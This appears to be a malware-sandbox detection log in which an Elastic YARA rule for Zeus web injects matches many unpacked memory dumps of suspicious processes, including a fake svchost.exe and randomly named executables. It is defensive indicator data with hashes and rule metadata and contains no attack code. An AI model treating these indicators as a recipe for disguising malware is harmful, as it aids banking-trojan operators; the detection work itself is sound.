Source: 2.2.svchost.exe.2d63c00.6.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.3a40000.27.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.3a40000.38.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.3a40000.29.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 23.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.2ac0000.3.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 27.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.29f2000.2.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.3a40000.30.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2dc0000.43.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 25.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.2650000.3.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 36.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.28c2000.2.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.3a40000.29.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.2.svchost.exe.407000.1.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.3a40000.34.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 36.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.2c90000.3.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 23.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.2ac0000.3.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.3a40000.37.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.88e000.2.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 19.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.1452000.2.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 31.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.2412000.2.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 25.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.2650000.3.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.3a40000.16.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 8.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.e70000.3.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 29.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.2d00000.3.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.2.svchost.exe.407000.1.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.3a40000.35.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.893c00.1.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 38.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.2762000.2.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 4.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.1242000.2.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 34.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.27f2000.2.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.3a40000.15.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 0.2.roundwood.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.3a40000.12.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.893000.5.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 25.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.8e2000.1.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 5.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.dd2000.2.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.3a40000.23.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.3a40000.31.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 15.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.960000.2.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 23.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.2922000.2.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.3a40000.26.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
